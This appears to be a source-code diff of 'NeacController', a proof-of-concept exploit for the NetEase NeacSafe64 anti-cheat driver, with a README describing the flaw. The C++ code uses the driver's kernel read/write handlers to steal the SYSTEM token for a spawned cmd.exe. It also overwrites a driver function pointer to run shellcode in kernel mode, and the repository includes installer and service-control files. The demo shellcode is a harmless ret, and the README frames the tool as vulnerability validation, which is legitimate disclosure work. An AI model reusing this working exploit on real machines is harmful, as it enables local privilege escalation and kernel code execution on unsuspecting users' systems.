USHORT NameSize;
|
||||
kernel_read_data(hPort, &NameSize, (PBYTE)Ptr + 0x58, 2);
|
||||
|
||||
PVOID NameAddr;
|
||||
kernel_read_data(hPort, &NameAddr, (PBYTE)Ptr + 0x60, 8);
|
||||
|
||||
kernel_read_data(hPort, &ModuleName, NameAddr, NameSize);
|
||||
if(!lstrcmpW(ModuleName, name)) {
|
||||
return DllBase;
|
||||
}
|
||||
kernel_read_data(hPort, &Ptr, Ptr, 8);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
BOOL execute_shellcode(PVOID NeacSafe64Base, BYTE *Shellcode, DWORD Size) {
|
||||
if(Size > 0x10000) {
|
||||
return FALSE;
|
||||
}
|
||||
PVOID MemPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x2165C0);
|
||||
PVOID NonPagedPool;
|
||||
// try to get the address of NonPagedPool buffer in NeacSafe64.sys.
|
||||
if(!kernel_read_data(hPort, &NonPagedPool, MemPtrAddr, 8)) {
|
||||
return FALSE;
|
||||
}
|
||||
// write shellcodes to the buffer
|
||||
if(!kernel_write_data(hPort, NonPagedPool, Shellcode, Size)) {
|
||||
return FALSE;
|
||||
}
|
||||
// change the function pointer(NtProtectVirtualMemory) to NonPagedPool buffer.
|
||||
PVOID FuncPtrAddr = (PVOID)((PBYTE)NeacSafe64Base + 0x219EA0);
|
||||
if(!kernel_write_data(hPort, FuncPtrAddr, &NonPagedPool, 8)) {
|
||||
return FALSE;
|
||||
}
|
||||
// call the function pointer and execute the shellcode.
|
||||
protect_memory(hPort, GetCurrentProcessId(), GetModuleHandle(NULL), 16, 0);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void privileges_escalation(PVOID KrnlBase) {
|
||||
DWORD va = get_export_rva("PsInitialSystemProcess");
|
||||
if(va == NULL) {
|
||||
return;
|
||||
}
|
||||
PVOID PsInitialSystemProcess = (PVOID)((PBYTE)KrnlBase + va);
|
||||
PVOID PsInitialSystemProcessEPROCESS;
|
||||
|
||||
if(!kernel_read_data(hPort, &PsInitialSystemProcessEPROCESS, PsInitialSystemProcess, 8)) {
|
||||
printf("[!] fail to get PsInitialSystemProcess EPROCESS...\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] PsInitialSystemProcess EPROCESS: %p\n", PsInitialSystemProcessEPROCESS);
|
||||
// These tokens will need updating if you are on a different version of Windows!
|
||||
// The offsets can be found here: https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/ntos/ps/eprocess/index.htm
|
||||
|
||||
uintptr_t TokenOffset = 0x04B8; // Windows 10 21H2+ and Windows 11 only
|
||||
uintptr_t PIDOffset = 0x0440; // Windows 10 21H2+ and Windows 11 only
|
||||
uintptr_t ActiveProcessLinksOffset = 0x0448; // Windows 10 21H2+ and Windows 11 only
|
||||
|
||||
PVOID SystemToken;
|
||||
if(!kernel_read_data(hPort, &SystemToken, (PBYTE)PsInitialSystemProcessEPROCESS + TokenOffset, 8)) {
|
||||
printf("[!] fail to get SystemToken.\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] SystemToken: %p\n", SystemToken);
|
||||
|
||||
STARTUPINFOA si = {0};
|
||||
PROCESS_INFORMATION pi;
|
||||
CreateProcessA(
|
||||
"C:\\Windows\\system32\\cmd.exe",
|
||||
nullptr,
|
||||
nullptr,
|
||||
nullptr,
|
||||
TRUE,
|
||||
CREATE_NEW_CONSOLE,
|
||||
nullptr,
|
||||
"C:\\Windows",
|
||||
&si,
|
||||
&pi
|
||||
);
|
||||
DWORD OurShellPID = pi.dwProcessId;
|
||||
|
||||
|
||||
LIST_ENTRY activeProcessLinkList;
|
||||
uint64_t NextProcessEPROCESSBlock = (uint64_t)PsInitialSystemProcessEPROCESS;
|
||||
if(!kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)PsInitialSystemProcessEPROCESS + ActiveProcessLinksOffset, sizeof(LIST_ENTRY))) {
|
||||
printf("[!] fail to get ActiveProcessLinks\n");
|
||||
return;
|
||||
}
|
||||
// You can fetch every single process' EPROCESS block from this original Kernel list, we iterate through it till we find our shell's PID.
|
||||
while (true) {
|
||||
DWORD processPID;
|
||||
NextProcessEPROCESSBlock = (uint64_t) activeProcessLinkList.Flink - ActiveProcessLinksOffset;
|
||||
// Fetch PID and compare it
|
||||
|
||||
if(!kernel_read_data(hPort, &processPID, (PBYTE)NextProcessEPROCESSBlock + PIDOffset, 4)) {
|
||||
printf("[!] fail to read memory\n");
|
||||
return;
|
||||
}
|
||||
if (processPID == OurShellPID) {
|
||||
|
||||
PVOID OurShellsToken;
|
||||
if(!kernel_read_data(hPort, &OurShellsToken, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, 8)) {
|
||||
printf("[!] fail to read Token..\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] Token: %p\n", OurShellsToken);
|
||||
|
||||
if(!kernel_write_data(hPort, (PBYTE)NextProcessEPROCESSBlock + TokenOffset, &SystemToken, 8)) {
|
||||
printf("[!] fail to write Token..\n");
|
||||
return;
|
||||
}
|
||||
printf("[+] Success...");
|
||||
break;
|
||||
}
|
||||
|
||||
// go to next process' EPROCESS.
|
||||
kernel_read_data(hPort, &activeProcessLinkList, (PBYTE)NextProcessEPROCESSBlock + ActiveProcessLinksOffset, sizeof(LIST_ENTRY));
|
||||
}
|
||||
|
||||
}
|
||||
int main()
|
||||
{
|
||||
start_driver();
|
||||
hPort = connect_driver();
|
||||
if(hPort == INVALID_HANDLE_VALUE) {
|
||||
printf("[!] fail to connect to driver\n");
|
||||
}
|
||||
get_ssdt_items(hPort, SSDT_Items, sizeof(SSDT_Items));
|
||||
DWORD rva = get_export_rva("NtWaitForSingleObject");
|
||||
if(rva == 0) {
|
||||
printf("[!] fail to get the rva of NtWaitForSingleObject\n");
|
||||
return 0;
|
||||
}
|
||||
if(SSDT_Items[4] == 0) {
|
||||
printf("[!] fail to get the address of NtWaitForSingleObject\n");
|
||||
return 0;
|
||||
}
|
||||
PVOID KrnlBase = (PVOID)((PBYTE)SSDT_Items[4] - rva);
|
||||
// calcuating the kernel module base.
|
||||
printf("[+] kernel module base address: %p\n", KrnlBase);
|
||||
|
||||
rva = get_export_rva("PsLoadedModuleList");
|
||||
if(rva == 0) {
|
||||
printf("[!] fail to get the rva of PsLoadedModuleList\n");
|
||||
return 0;
|
||||
}
|
||||
PVOID PsLoadedModuleList = (PVOID)((PBYTE)KrnlBase + rva);
|
||||
PVOID NeacSafe64Base = find_krnl_images(PsLoadedModuleList, L"NeacSafe64.sys");
|
||||
if(!NeacSafe64Base) {
|
||||
printf("[!] fail to get the module base address of NeacSafe64.sys\n");
|
||||
return 0;
|
||||
}
|
||||
printf("[+] NeacSafe64.sys module base address: %p\n", NeacSafe64Base);
|
||||
|
||||
// test Escalation of Privileges
|
||||
privileges_escalation(KrnlBase);
|
||||
|
||||
// test Code Execution
|
||||
BYTE Shellcode[2] = {0xC3, 0xCC}; // execute shellcode: ret, nothing will happen.
|
||||
execute_shellcode(NeacSafe64Base, Shellcode, 2);
|
||||
|
||||
/*
|
||||
BYTE Shellcode[2] = {0xCC, 0xCC}; // execute shellcode: int 3, this will cause BSOD.
|
||||
execute_shellcode(NeacSafe64Base, Shellcode, 2);
|
||||
*/
|
||||
getchar();
|
||||
CloseHandle(hPort);
|
||||
stop_driver();
|
||||
return 0;
|
||||
|
||||
}
|
||||
@@ -0,0 +1,140 @@
|
||||
#include"service.h"
|
||||
#include<cstdio>
|
||||
int start_driver() {
|
||||
|
||||
const wchar_t* SERVICE_NAME = L"NeacSafe64";
|
||||
|
||||
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
|
||||
if (!scm) {
|
||||
printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
SC_HANDLE service = OpenService(
|
||||
scm,
|
||||
SERVICE_NAME,
|
||||
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
|
||||
);
|
||||
|
||||
if (!service) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
printf("[!] service not exist\n");
|
||||
} else {
|
||||
printf("[!] OpenService failed (Error: %d)\n", err);
|
||||
}
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
|
||||
SERVICE_STATUS_PROCESS status;
|
||||
DWORD bytesNeeded;
|
||||
if (!QueryServiceStatusEx(
|
||||
service,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&status,
|
||||
sizeof(status),
|
||||
&bytesNeeded)
|
||||
) {
|
||||
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
if (status.dwCurrentState != SERVICE_RUNNING) {
|
||||
printf("[*] starting...\n");
|
||||
if (!StartService(service, 0, NULL)) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SERVICE_ALREADY_RUNNING) {
|
||||
printf("[+] already started\n");
|
||||
} else {
|
||||
printf("[!] StartService failed (Error: %d)\n", err);
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
} else {
|
||||
printf("[+] started.\n");
|
||||
}
|
||||
}
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 0;
|
||||
}
|
||||
|
||||
int stop_driver() {
|
||||
|
||||
const wchar_t* SERVICE_NAME = L"NeacSafe64";
|
||||
|
||||
SC_HANDLE scm = OpenSCManager(NULL, NULL, SC_MANAGER_CONNECT | SC_MANAGER_ENUMERATE_SERVICE);
|
||||
if (!scm) {
|
||||
printf("[!] OpenSCManager failed (Error: %d)\n", GetLastError());
|
||||
return 1;
|
||||
}
|
||||
|
||||
SC_HANDLE service = OpenService(
|
||||
scm,
|
||||
SERVICE_NAME,
|
||||
SERVICE_QUERY_STATUS | SERVICE_START | SERVICE_STOP
|
||||
);
|
||||
|
||||
if (!service) {
|
||||
DWORD err = GetLastError();
|
||||
if (err == ERROR_SERVICE_DOES_NOT_EXIST) {
|
||||
printf("[!] service not exist\n");
|
||||
} else {
|
||||
printf("[!] OpenService failed (Error: %d)\n", err);
|
||||
}
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
|
||||
SERVICE_STATUS_PROCESS status;
|
||||
DWORD bytesNeeded;
|
||||
if (!QueryServiceStatusEx(
|
||||
service,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&status,
|
||||
sizeof(status),
|
||||
&bytesNeeded)
|
||||
) {
|
||||
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
printf("[*] stopping...\n");
|
||||
SERVICE_STATUS stopStatus;
|
||||
if (!ControlService(service, SERVICE_CONTROL_STOP, &stopStatus)) {
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
DWORD64 startTime = GetTickCount64();
|
||||
while (status.dwCurrentState != SERVICE_STOPPED) {
|
||||
Sleep(1000);
|
||||
if (!QueryServiceStatusEx(
|
||||
service,
|
||||
SC_STATUS_PROCESS_INFO,
|
||||
(LPBYTE)&status,
|
||||
sizeof(status),
|
||||
&bytesNeeded)
|
||||
) {
|
||||
printf("[!] QueryServiceStatusEx failed (Error: %d)\n", GetLastError());
|
||||
break;
|
||||
}
|
||||
|
||||
if (GetTickCount64() - startTime > 30000) {
|
||||
printf("[!] time out\n");
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
printf("[+] stopped\n");
|
||||
}
|
||||
CloseServiceHandle(service);
|
||||
CloseServiceHandle(scm);
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,5 @@
|
||||
#include<windows.h>
|
||||
|
||||
int start_driver();
|
||||
|
||||
int stop_driver();
|
||||
@@ -0,0 +1,14 @@
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\vc142.pdb
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\vc142.idb
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\service.obj
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\main.obj
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\controller.obj
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.ilk
|
||||
d:\github\neaccontroller\x64\debug\neaccontroller.exe
|
||||
d:\github\neaccontroller\x64\debug\neaccontroller.pdb
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.command.1.tlog
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.read.1.tlog
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\cl.write.1.tlog
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.command.1.tlog
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.read.1.tlog
|
||||
d:\github\neaccontroller\neaccontroller\x64\debug\neaccontroller.tlog\link.write.1.tlog
|
||||
@@ -0,0 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project>
|
||||
<ProjectOutputs>
|
||||
<ProjectOutput>
|
||||
<FullPath>D:\GitHub\NeacController\x64\Debug\NeacController.exe</FullPath>
|
||||
</ProjectOutput>
|
||||
</ProjectOutputs>
|
||||
<ContentFiles />
|
||||
<SatelliteDlls />
|
||||
<NonRecipeFileRefs />
|
||||
</Project>
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
[Version]
|
||||
Signature = "$Windows NT$"
|
||||
Class = "ActivityMonitor" ;This is determined by the work this filter driver does
|
||||
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
|
||||
Provider = %ProviderString%
|
||||
DriverVer = 12/17/2021,17.41.6.64
|
||||
|
||||
[DestinationDirs]
|
||||
DefaultDestDir = 12
|
||||
NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
|
||||
|
||||
;;
|
||||
;; Default install sections
|
||||
;;
|
||||
|
||||
[DefaultInstall]
|
||||
OptionDesc = %ServiceDescription%
|
||||
CopyFiles = NeacSafe64.DriverFiles
|
||||
|
||||
[DefaultInstall.Services]
|
||||
AddService = %ServiceName%,,NeacSafe64.Service
|
||||
|
||||
;;
|
||||
;; Default uninstall sections
|
||||
;;
|
||||
|
||||
[DefaultUninstall]
|
||||
DelFiles = NeacSafe64.DriverFiles
|
||||
|
||||
[DefaultUninstall.Services]
|
||||
DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
|
||||
|
||||
;
|
||||
; Services Section
|
||||
;
|
||||
|
||||
[NeacSafe64.Service]
|
||||
DisplayName = %ServiceName%
|
||||
Description = %ServiceDescription%
|
||||
ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
|
||||
Dependencies = "FltMgr"
|
||||
ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
|
||||
StartType = 3 ;SERVICE_DEMAND_START
|
||||
ErrorControl = 1 ;SERVICE_ERROR_NORMAL
|
||||
LoadOrderGroup = "FSFilter Activity Monitor"
|
||||
AddReg = NeacSafe64.AddRegistry
|
||||
|
||||
;
|
||||
; Registry Modifications
|
||||
;
|
||||
|
||||
[NeacSafe64.AddRegistry]
|
||||
HKR,,"SupportedFeatures",0x00010001,0x3
|
||||
HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
|
||||
HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
|
||||
HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
|
||||
|
||||
;
|
||||
; Copy Files
|
||||
;
|
||||
|
||||
[NeacSafe64.DriverFiles]
|
||||
%DriverName%.sys
|
||||
|
||||
[SourceDisksFiles]
|
||||
NeacSafe64.sys = 1,,
|
||||
|
||||
[SourceDisksNames]
|
||||
1 = %DiskId1%,,,
|
||||
|
||||
;;
|
||||
;; String Section
|
||||
;;
|
||||
|
||||
[Strings]
|
||||
ProviderString = "TODO-Set-Provider"
|
||||
ServiceDescription = "NeacSafe64 mini-filter driver"
|
||||
ServiceName = "NeacSafe64"
|
||||
DriverName = "NeacSafe64"
|
||||
DiskId1 = "NeacSafe64 Device Installation Disk"
|
||||
|
||||
;Instances specific information.
|
||||
DefaultInstance = "NeacSafe64 Instance"
|
||||
Instance1.Name = "NeacSafe64 Instance"
|
||||
Instance1.Altitude = "370020"
|
||||
Instance1.Flags = 0x0 ; Suppress automatic attachments
|
||||
@@ -0,0 +1,42 @@
|
||||
## NeacController
|
||||
|
||||
### 0x0 Background
|
||||
|
||||
> **Neac**: NetEase’s self-developed anti-cheat solution, designed to protect its PC games, including but not limited to Overwatch, Naraka: Bladepoint, and FragPunk.
|
||||
|
||||
A vulnerability in NetEase (Hangzhou) Network Co., Ltd NeacSafe64 Driver (versions prior to v1.0.0.8) allows a local attacker to escalate privileges via crafted IOCTL commands to the NeacSafe64.sys component, potentially enabling SYSTEM privilege acquisition and arbitrary shellcode execution in kernel space.
|
||||
|
||||
### 0x1 Escalation of Privileges
|
||||
|
||||
The NeacSafe64 driver exposes two message handlers (Opcode 14 and 70, **msghandler15**/**msghandler71**) that implement **arbitrary kernel-space read/write** primitives. These operations enable NeacController to perform privileged memory manipulation, ultimately achieving SYSTEM privilege escalation through combined exploitation of these capabilities.
|
||||
|
||||

|
||||
|
||||
### 0x2 Code Execution
|
||||
|
||||
The NeacSafe64 driver allocates **NonPagedPool** memory and stores its pointer in a global variable, subsequently utilizing function pointers to invoke system APIs. This implementation allows attackers to:
|
||||
|
||||
- Inject shellcode into the allocated pool memory.
|
||||
|
||||
- Hijack control flow by overwriting the function pointer.
|
||||
|
||||

|
||||
|
||||
- Trigger execution through specific Message Handler operations.
|
||||
|
||||

|
||||
|
||||
ultimately achieving arbitrary kernel-mode code execution (KMCE) via controlled pointer redirection.
|
||||
|
||||
### 0x3 Usage
|
||||
|
||||
Deploying the NeacSafe64 driver via NeacSafe64.inf and executing NeacController.exe, and it will spawn a privileged cmd process.
|
||||
|
||||
The demonstration payload currently uses a single `ret` instruction as shellcode, resulting in no observable system behavior. For effective vulnerability validation:
|
||||
|
||||

|
||||
|
||||
1. Replace the placeholder shellcode with `0xCC` (INT3 breakpoint opcode)
|
||||
2. Execution will then trigger either:
|
||||
- Debugger break-in via `STATUS_BREAKPOINT` exception
|
||||
- System crash (BSOD) if unhandled in kernel context
|
||||
|
After Width: | Height: | Size: 32 KiB |
|
After Width: | Height: | Size: 41 KiB |
|
After Width: | Height: | Size: 7.9 KiB |
|
After Width: | Height: | Size: 35 KiB |
|
After Width: | Height: | Size: 9.7 KiB |
|
After Width: | Height: | Size: 15 KiB |
|
After Width: | Height: | Size: 37 KiB |
@@ -0,0 +1,86 @@
|
||||
[Version]
|
||||
Signature = "$Windows NT$"
|
||||
Class = "ActivityMonitor" ;This is determined by the work this filter driver does
|
||||
ClassGuid = {b86dff51-a31e-4bac-b3cf-e8cfe75c9fc2} ;This value is determined by the Class
|
||||
Provider = %ProviderString%
|
||||
DriverVer = 12/17/2021,17.41.6.64
|
||||
|
||||
[DestinationDirs]
|
||||
DefaultDestDir = 12
|
||||
NeacSafe64.DriverFiles = 12 ;%windir%\system32\drivers
|
||||
|
||||
;;
|
||||
;; Default install sections
|
||||
;;
|
||||
|
||||
[DefaultInstall]
|
||||
OptionDesc = %ServiceDescription%
|
||||
CopyFiles = NeacSafe64.DriverFiles
|
||||
|
||||
[DefaultInstall.Services]
|
||||
AddService = %ServiceName%,,NeacSafe64.Service
|
||||
|
||||
;;
|
||||
;; Default uninstall sections
|
||||
;;
|
||||
|
||||
[DefaultUninstall]
|
||||
DelFiles = NeacSafe64.DriverFiles
|
||||
|
||||
[DefaultUninstall.Services]
|
||||
DelService = %ServiceName%,0x200 ;Ensure service is stopped before deleting
|
||||
|
||||
;
|
||||
; Services Section
|
||||
;
|
||||
|
||||
[NeacSafe64.Service]
|
||||
DisplayName = %ServiceName%
|
||||
Description = %ServiceDescription%
|
||||
ServiceBinary = %12%\%DriverName%.sys ;%windir%\system32\drivers\
|
||||
Dependencies = "FltMgr"
|
||||
ServiceType = 2 ;SERVICE_FILE_SYSTEM_DRIVER
|
||||
StartType = 3 ;SERVICE_DEMAND_START
|
||||
ErrorControl = 1 ;SERVICE_ERROR_NORMAL
|
||||
LoadOrderGroup = "FSFilter Activity Monitor"
|
||||
AddReg = NeacSafe64.AddRegistry
|
||||
|
||||
;
|
||||
; Registry Modifications
|
||||
;
|
||||
|
||||
[NeacSafe64.AddRegistry]
|
||||
HKR,,"SupportedFeatures",0x00010001,0x3
|
||||
HKR,"Instances","DefaultInstance",0x00000000,%DefaultInstance%
|
||||
HKR,"Instances\"%Instance1.Name%,"Altitude",0x00000000,%Instance1.Altitude%
|
||||
HKR,"Instances\"%Instance1.Name%,"Flags",0x00010001,%Instance1.Flags%
|
||||
|
||||
;
|
||||
; Copy Files
|
||||
;
|
||||
|
||||
[NeacSafe64.DriverFiles]
|
||||
%DriverName%.sys
|
||||
|
||||
[SourceDisksFiles]
|
||||
NeacSafe64.sys = 1,,
|
||||
|
||||
[SourceDisksNames]
|
||||
1 = %DiskId1%,,,
|
||||
|
||||
;;
|
||||
;; String Section
|
||||
;;
|
||||
|
||||
[Strings]
|
||||
ProviderString = "TODO-Set-Provider"
|
||||
ServiceDescription = "NeacSafe64 mini-filter driver"
|
||||
ServiceName = "NeacSafe64"
|
||||
DriverName = "NeacSafe64"
|
||||
DiskId1 = "NeacSafe64 Device Installation Disk"
|
||||
|
||||
;Instances specific information.
|
||||
DefaultInstance = "NeacSafe64 Instance"
|
||||
Instance1.Name = "NeacSafe64 Instance"
|
||||
Instance1.Altitude = "370020"
|
||||
Instance1.Flags = 0x0 ; Suppress automatic attachments
|
||||